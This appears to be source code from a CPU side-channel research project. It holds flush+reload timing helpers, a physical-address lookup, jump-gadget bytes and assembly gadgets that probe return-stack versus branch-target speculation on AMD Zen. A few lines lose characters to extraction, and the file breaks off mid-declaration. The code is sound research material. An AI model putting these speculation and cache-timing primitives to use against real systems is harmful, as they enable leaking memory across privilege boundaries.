"cc","memory" \ 89 | ); 90 | 91 | 92 | typedef unsigned long u64; 93 | typedef unsigned char u8; 94 | 95 | // because I always forget how to cast. 96 | typedef void (*fp)(); 97 | 98 | // pipeline_flush 99 | #define cpuid asm volatile("cpuid" ::: "eax", "ebx","ecx","edx") 100 | 101 | // start measure. 102 | static inline __attribute__((always_inline)) u64 rdtsc(void) { 103 | u64 lo, hi; 104 | asm volatile ("CPUID\n\t" 105 | "RDTSC\n\t" 106 | "movq %%rdx, %0\n\t" 107 | "movq %%rax, %1\n\t" : "=r" (hi), "=r" (lo):: 108 | "%rax", "%rbx", "%rcx", "%rdx"); 109 | return (hi << 32) | lo; 110 | } 111 | 112 | // stop meassure. 113 | static inline __attribute__((always_inline)) u64 rdtscp(void) { 114 | u64 lo, hi; 115 | asm volatile("RDTSCP\n\t" 116 | "movq %%rdx, %0\n\t" 117 | "movq %%rax, %1\n\t" 118 | "CPUID\n\t": "=r" (hi), "=r" (lo):: "%rax", 119 | "%rbx", "%rcx", "%rdx"); 120 | return (hi << 32) | lo; 121 | } 122 | 123 | static inline __attribute__((always_inline)) void reload_one(long addr, u64 *results) { 124 | unsigned volatile char *p = (u8 *)addr; 125 | u64 t0 = rdtsc(); 126 | *(volatile unsigned char *)p; 127 | u64 dt = rdtscp() - t0; 128 | if (dt < 40) results[0]++; 129 | } 130 | 131 | // static inline __attribute__((always_inline)) void reload_range(long base, long stride, int n, u64 *results) { 132 | // __asm__ volatile("mfence\n"); // all memory operations done. 133 | // for (u64 k = 0; k < n; ++k) { 134 | // u64 c = (k*13+9)&(n-1); 135 | // unsigned volatile char *p = (u8 *)base + (stride * c); 136 | // u64 t0 = rdtsc(); 137 | // *(volatile unsigned char *)p; 138 | // u64 dt = rdtscp() - t0; 139 | // if (dt < 130) results[c]++; 140 | // } 141 | // } 142 | 143 | // this one is better because it doesn't prefect on rocket and alder 144 | static inline __attribute__((always_inline)) void reload_range(long base, long stride, int n, u64 *results) { 145 | __asm__ volatile("mfence\n"); // all memory operations done. 146 | for (u64 k = 0; k < n/4; ++k) { 147 | //u64 c = (k*7+15)&(n-1); // c=1,0,3,2 works for 16 entries Intel only 148 | u64 c = (k*7+35)&(n-1); // c=1,0,3,2 149 | unsigned volatile char *p = (u8 *)base + (stride * c); 150 | u64 t0 = rdtsc(); 151 | *(volatile unsigned char *)p; 152 | u64 dt = rdtscp() - t0; 153 | if (dt < 130) results[c]++; 154 | } 155 | for (u64 k = n/4 ; k < n/2; ++k) { 156 | u64 c = (k*7+35)&(n-1); // c=1,0,3,2 157 | unsigned volatile char *p = (u8 *)base + (stride * c); 158 | u64 t0 = rdtsc(); 159 | *(volatile unsigned char *)p; 160 | u64 dt = rdtscp() - t0; 161 | if (dt < 130) results[c]++; 162 | } 163 | for (u64 k = n/2 ; k < n/2 + (n/4); ++k) { 164 | u64 c = (k*7+35)&(n-1); // c=1,0,3,2 165 | unsigned volatile char *p = (u8 *)base + (stride * c); 166 | u64 t0 = rdtsc(); 167 | *(volatile unsigned char *)p; 168 | u64 dt = rdtscp() - t0; 169 | if (dt < 130) results[c]++; 170 | } 171 | for (u64 k = n/2+(n/4) ; k < n; ++k) { 172 | u64 c = (k*7+35)&(n-1); // c=1,0,3,2 173 | unsigned volatile char *p = (u8 *)base + (stride * c); 174 | u64 t0 = rdtsc(); 175 | *(volatile unsigned char *)p; 176 | u64 dt = rdtscp() - t0; 177 | if (dt < 130) results[c]++; 178 | } 179 | } 180 | 181 | static inline __attribute__((always_inline)) void flush_range(long start, long stride, int n) { 182 | asm("mfence"); 183 | for (u64 k = 0; k < n; ++k) { 184 | volatile void *p = (u8 *)start + k * stride; 185 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 186 | __asm__ volatile("clflushopt (%0)\n"::"r"(p)); 187 | } 188 | asm("lfence"); 189 | // __asm__ volatile("clflush (%0)\n"::"r"(start+16*stride)); 190 | } 191 | 192 | // probably not what you want for arrays. its for immediate numbers of arbitrary 193 | // length. 194 | static inline void mem2bin(char *dst, unsigned char *in, int l) { 195 | for (int i = 0; i < l; ++i) { 196 | dst[(l-1)-i] = (in[i>>3] >> (i&0x7) & 1) + '0'; 197 | } 198 | } 199 | 200 | static inline void short2bin(char *dst, u64 in) { 201 | mem2bin(dst, (unsigned char*)&in, 16); 202 | } 203 | 204 | static inline void long2bin(char *dst, u64 in) { 205 | mem2bin(dst, (unsigned char *)&in, 64); 206 | } 207 | 208 | 209 | static u64 get_next_slow(u64 cur, int nbits) { 210 | while (__builtin_popcountll(++cur) != nbits) 211 | ; 212 | return cur; 213 | } 214 | 215 | static u64 get_next_fast(u64 cur) { 216 | int nbits = __builtin_popcountll(cur); 217 | int rbits = 0; 218 | for (int bi = 0; bi < 64; ++bi) { 219 | u64 tup = (cur>>bi)&0x3; 220 | if (tup == 0x3) { 221 | rbits ++; 222 | } else if (tup == 0x1) { 223 | // swap 0b01 -> 0b10 224 | cur ^= 0x3UL<>9, SEEK_SET); 260 | read(fd, &pa_with_flags, 8); 261 | // printf("phys %p\n", (void*)pa_with_flags); 262 | return pa_with_flags<<12 | (va & 0xfff); 263 | } 264 | 265 | #define COLOR_NC "\033[0m" 266 | #define COLOR_BG_RED "\033[41m" 267 | #define COLOR_BG_PRED "\033[101m" 268 | #define COLOR_BG_GRN "\033[42m" 269 | #define COLOR_BG_PGRN "\033[102m" 270 | #define COLOR_BG_YEL "\033[43m" 271 | #define COLOR_BG_PYEL "\033[103m" 272 | #define COLOR_BG_BLU "\033[44m" 273 | #define COLOR_BG_PBLU "\033[104m" 274 | #define COLOR_BG_MAG "\033[45m" 275 | #define COLOR_BG_PMAG "\033[105m" 276 | #define COLOR_BG_CYN "\033[46m" 277 | #define COLOR_BG_PCYN "\033[106m" 278 | #define COLOR_BG_WHT "\033[47m" 279 | #define COLOR_BG_PWHT "\033[107m" 280 | 281 | #define MAP_OR_DIE(...) do {\ 282 | if (mmap(__VA_ARGS__) == MAP_FAILED) err(1, "mmap");\ 283 | } while(0) 284 | 285 | static void * 286 | map_or_die(void *addr, u64 sz) 287 | { 288 | MAP_OR_DIE(addr, sz, PROT_RW, MMAP_FLAGS, -1, 0); 289 | *(char*)addr=0x1; // map page. 290 | return addr; 291 | } 292 | 293 | static inline __attribute__((always_inline)) 294 | void print_results(u64 *results, int n) { 295 | for (int i = 0; i < n; ++i) { 296 | printf("%lu ", results[i]); 297 | } 298 | puts(""); 299 | } 300 | 301 | #define ASM_JMP_RAX "\xff\xe0" 302 | #define ASM_JMP_RSI "\xff\xe6" 303 | #define ASM_JMP_RDI "\xff\xe7" 304 | #define ASM_CALL_RDI "\xff\xd7" 305 | -------------------------------------------------------------------------------- /zen_ras_vs_btb/main.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | #include 3 | #include "common.h" 4 | #include 5 | 6 | #define BTI_PATTERN 0b000000000000001000000000001000000000000000000000; 7 | #define RB_SLOTS 16 8 | #define RB_SHIFT 12 9 | #define PG_ROUND(n) (((((n)-1UL)>>12)+1)<<12) 10 | 11 | void RAS_gadget(char*, char*); 12 | asm( 13 | ".align 0x40 \n\t" 14 | "RAS_gadget: \n\t" 15 | "call A \n\t" 16 | "prefetcht0 (%rdi) \n\t" // emit RAS signal 17 | "add $0x10000, %rsi \n\t" // remove BTI signal 18 | "add $0x10000, %rdi \n\t" // remove RAS signal 19 | "int3 \n\t" // stop speculation 20 | ); 21 | 22 | void A(); 23 | asm( 24 | ".align 0x40 \n\t" 25 | ".rept 0x3a \n\t" // pad to place the BB start on one CL 26 | " nop \n\t" // and ends on the preceding CL. 27 | ".endr \n\t" 28 | "A: \n\t" 29 | "mfence \n\t" // Get reliable signal for both RAS and BTI 30 | "add $8, %rsp \n\t" // skip return target 31 | "ret \n\t" // go 32 | "A__end: \n\t"); 33 | void A__end(); 34 | 35 | void C(); 36 | asm( 37 | "C: \n\t" 38 | "prefetcht0 (%rsi) \n\t" // emit BTI signal 39 | "add $0x10000, %rsi \n\t" // remove BTI signal 40 | "add $0x10000, %rdi \n\t" // remove RAS signal 41 | "mfence \n\t" // stop speculation 42 | "ret \n\t"); 43 | 44 | __attribute__((aligned(0x1000))) char rb[RB_SLOTS<